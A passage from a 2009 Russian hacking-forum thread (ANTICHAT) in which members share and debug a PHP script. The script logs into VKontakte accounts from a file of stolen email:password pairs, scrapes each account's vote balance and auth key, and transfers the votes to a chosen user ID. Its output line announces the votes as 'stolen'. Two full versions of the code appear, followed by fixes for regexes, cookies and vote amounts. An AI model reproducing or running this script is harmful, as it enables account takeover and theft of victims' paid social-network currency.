ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 14.09.2009, 23:31
Ty3uK
Banned
Регистрация: 01.02.2009
Сообщений: 48
С нами: 9091660

Репутация: 76
По умолчанию

скрипт отлично работает с новой авторизацией...
кстати приложение ни у кого не должно быть установлено! проверено!

исправил скрипт ТС. исправил статистику, ошибку после каждого акка, прокомментировал отсутствие votes.txt

Код:
<?php
set_time_limit(0);
error_reporting(1);
$to = "АЙДИ НА КОТОРЫЙ ПЕРЕДАВАТЬ ГОЛОСА"; // vote to id

function curl($url,$post)
{
//echo "$url | $post <br>\n";
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
function transfer_vote($email,$pass,$to){
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
$result = curl("http://vkontakte.ru/app614422","");
preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);
preg_match("/balance = (.*?);/i", $result, $vote);
preg_match("/join(.*?)'>/i", $result, $appsl);
preg_match("/app_id = (.*?);/i", $result, $app_id);
preg_match("/app_hash = '(.*?)';/i", $result, $app_hash);
preg_match("/auth_key\", \"(.*?)\"/i", $result, $auth_key);
    if ($vote['1'] >= "1") {
    echo "#Спиздили ".$vote['1']." VOTE...<br>";
    echo "#Всё ok...<br>";
    }
    else {
    echo "#Нету голосов на акке(<br>";
    }
flush();
@ob_flush();
$result = curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=614422&app_hash=".$app_hash['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0");
$result = curl("http://api.vkontakte.fi/votes.php?uid_from=".$user_id['1']."&uid_to=".$to."&votes=".$vote['1']."&auth=".$auth_key['1']);
return $result;
}
echo "<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b  order:1px solid #404040;background-color:#221;}red{color:#FF0000}</style> ";
$is_aks = is_file  ("votes.txt");
if($is_aks != 1){
    die('Нету файла с аккаунтами! Создайте файл votes.txt с аккаунтами в виде email@mail.com:password');
}
$aks = file("votes.txt"); // AC file, login:pass
foreach($aks as $k => $v){
$ak = explode(":", trim($v));
echo "<b>--Логинимся--<br>E-mail:".$ak['0'].";password:".$ak['1']."<br>";
$vote_res = transfer_vote($ak['0'],$ak['1'],$to);
echo "------------------------------------------<br>";
flush();
@ob_flush();
}
?>

Последний раз редактировалось Ty3uK; 14.09.2009 в 23:33..
 
Ответить с цитированием

  #12  
Старый 17.09.2009, 06:55
-=MeDved=-
Познающий
Регистрация: 13.08.2008
Сообщений: 71
С нами: 9338575

Репутация: 302
По умолчанию

Спасибо большое ! исправил 1 й пост !
 
Ответить с цитированием

  #13  
Старый 20.09.2009, 23:27
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
С нами: 10892546

Репутация: 2274


По умолчанию

Я не понимаю, ну никак!
preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);
И у вас это работает?!
Да, я поднимаю тему, я немогу врубиться, во всех скриптах используются регулярки
"option", "value"
хотя у вконтакта
option: "value"

Не работает:
preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);

Работает:
preg_match("/viewer_id\: \"(.*?)\"/i", $result, $user_id);

Или вконтакт для россии выдаёт "option", "value" а для других стран oprion: "value"
или как это понимать, потмоучто везде вижу эти ошибки в регулярках, но начал подохревать что у вас "option", "value"

Если кто меня понял, ответьте, у вас "option", "value" или option: "value"
 
Ответить с цитированием

  #14  
Старый 20.09.2009, 23:41
DimOnOID
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами: 10226672

Репутация: 441
По умолчанию

Я не знаю у кого этот скрипт работает...
preg_match("/viewer_id=(.*?)&/i", $result, $user_id);
preg_match("/auth_key=(.*?)&/i", $result, $auth_key);
так тоже можно.
в скрипте ещё при передаче $vote['1'] нужно умножить на 100.
стата тут глюченная..

Последний раз редактировалось DimOnOID; 20.09.2009 в 23:46..
 
Ответить с цитированием

  #15  
Старый 21.09.2009, 00:06
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
С нами: 10892546

Репутация: 2274


По умолчанию

Да я говорю имено про эту регулярку
preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);
Она расчитана на текст
"viewer_id", "123456"

Но у меня на всех акках отображается так
viewer_id: "123456"

Но я уже видел и исправлял минимум 5 скриптов с такими регулярками, и что-то мне кажется что в россии видно "viewer_id", "123456" а для других стран viewer_id: "123456"
Лан, забейте, я вод себя всё переписал и гуд

там ещё кстате где он запрашивает api.vkontakte.fi это надо перенести после if ($vote['1'] >= "1") ато лищний трафф
 
Ответить с цитированием

  #16  
Старый 21.09.2009, 01:17
AlexV
Постоянный
Регистрация: 29.02.2008
Сообщений: 935
С нами: 9577766

Репутация: 1914


По умолчанию

Так кто-нибудь может переписать норм скрипт для передачи?

Последний раз редактировалось AlexV; 21.09.2009 в 01:28..
 
Ответить с цитированием

  #17  
Старый 21.09.2009, 01:47
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
С нами: 10892546

Репутация: 2274


По умолчанию

Ну вот я под себя переделал, но ещё раз говорю, у меня option: "value"
PHP код:
<?php 
set_time_limit
(0); 
error_reporting(1); 
$to = "1"; // vote to id 

function curl($url,$post) 
{ 
    
#echo "<br> $url | $post <br>\n"; 
    
$cfile = 'cookies.txt'; 
    
$ch = curl_init(); 
    
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    
curl_setopt($ch, CURLOPT_URL, $url); 
    
curl_setopt($ch, CURLOPT_HEADER, 0); 
    
curl_setopt($ch, CURLOPT_POSTFIELDS, $post); 
    
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); 
    
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); 
    
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); 
    
curl_setopt($ch, CURLOPT_POST, 1); 
    
$result = curl_exec($ch); 
    
curl_close($ch); 
    return 
$result; 
} 
function 
transfer_vote($email,$pass,$to){ 
    
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); 
    
$result = curl("http://vkontakte.ru/app614422",""); 
    
preg_match("/viewer_id\: \"(.*?)\"/i", $result, $user_id); 
    
preg_match("/balance = (.*?);/i", $result, $vote);
    
preg_match("/join(.*?)'>/i", $result, $appsl); 
    
preg_match("/app_id = (.*?);/i", $result, $app_id); 
    
preg_match("/app_hash = '(.*?)';/i", $result, $app_hash); 
    
preg_match("/auth_key\: \"(.*?)\"/i", $result, $auth_key); 
        if (
$vote['1'] >= "1") { 
        echo 
"#Спиздили ".$vote['1']." VOTE...<br>"; 
        
flush(); 
        @
ob_flush(); 
        
$result = curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=614422&app_hash=".$app_hash['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0"); 
        
$result = curl("http://api.vkontakte.fi/votes.php?uid_from=".$user_id['1']."&uid_to=".$to."&votes=".$vote['1']."00&auth=".$auth_key['1']); 
        echo 
"#Всё ok...<br>"; 
        } 
        else { 
        echo 
"#Нету голосов на акке(<br>"; 
        
$result = false;
        } 
    
flush(); 
    @
ob_flush(); 
    return 
$result; 
} 
echo 
"<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b      order:1px solid #404040;background-color:#221;}red{color:#FF0000}</style> "; 
$is_aks = is_file  ("votes.txt"); 
if(
$is_aks != 1){ 
    die(
'Нету файла с аккаунтами! Создайте файл votes.txt с аккаунтами в виде email@mail.com:password'); 
} 
$aks = file("votes.txt"); // AC file, login:pass 
foreach($aks as $k => $v){ 
$ak = explode(":", trim($v)); 
echo 
"<b>--Логинимся--<br>E-mail:".$ak['0'].";password:".$ak['1']."<br>"; 
$vote_res = transfer_vote($ak['0'],$ak['1'],$to); 
echo 
"------------------------------------------<br>"; 
flush(); 
@
ob_flush(); 
} 
?>
 
Ответить с цитированием

  #18  
Старый 21.09.2009, 16:24
Chaak
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
С нами: 9443906

Репутация: 3313


По умолчанию

Кто автор скрипта?
 
Ответить с цитированием

  #19  
Старый 21.09.2009, 23:22
Ty3uK
Banned
Регистрация: 01.02.2009
Сообщений: 48
С нами: 9091660

Репутация: 76
По умолчанию

Цитата:
Сообщение от DimOnOID  
в скрипте ещё при передаче $vote['1'] нужно умножить на 100.
стата тут глюченная..
ничё домножать не надо, я тоже думал что надо но оно отдаёт всё верно) проверял
Цитата:
Сообщение от AlexV  
Так кто-нибудь может переписать норм скрипт для передачи?
дык он у меня отлично работает, та версия что я немного исправил
Цитата:
Сообщение от Chaak  
Кто автор скрипта?
может -=MeDved=-, а может и нет...
 
Ответить с цитированием

  #20  
Старый 21.09.2009, 23:41
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
С нами: 10892546

Репутация: 2274


По умолчанию

Цитата:
Сообщение от Ty3uK  
ничё домножать не надо, я тоже думал что надо но оно отдаёт всё верно) проверял
Да нет, надо!
Если на акке 1 голос, придёт 0.01 надо умножить на 100 и придёт 1 как надо

Цитата:
Сообщение от Ty3uK  
дык он у меня отлично работает, та версия что я немного исправил
У него там траблы с куками были
Если у вас пишет нет голосов, даже если они есть, создайте cookies.txt с правами 777

И уберите
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
оно жрёт лишний траф, и оно там ненадо
И error_reporting(1); вобще бред какой-то (не, ну может не бред, я значения констант незнаю)
Замените на error_reporting(E_ALL ^ E_NOTICE);

Последний раз редактировалось Ponchik; 21.09.2009 в 23:44..
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Список всех соц. сетей оlbaneс Социальные сети 42 17.05.2010 22:05
Кто может написать скрипт для передачи голосов через приложение ВК _Spamer_ Социальные сети 27 07.07.2009 19:47
Программы для работы с железом. Часть I – настройка видеокарт _GaLs_ "Железо" 2 20.12.2006 01:18



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.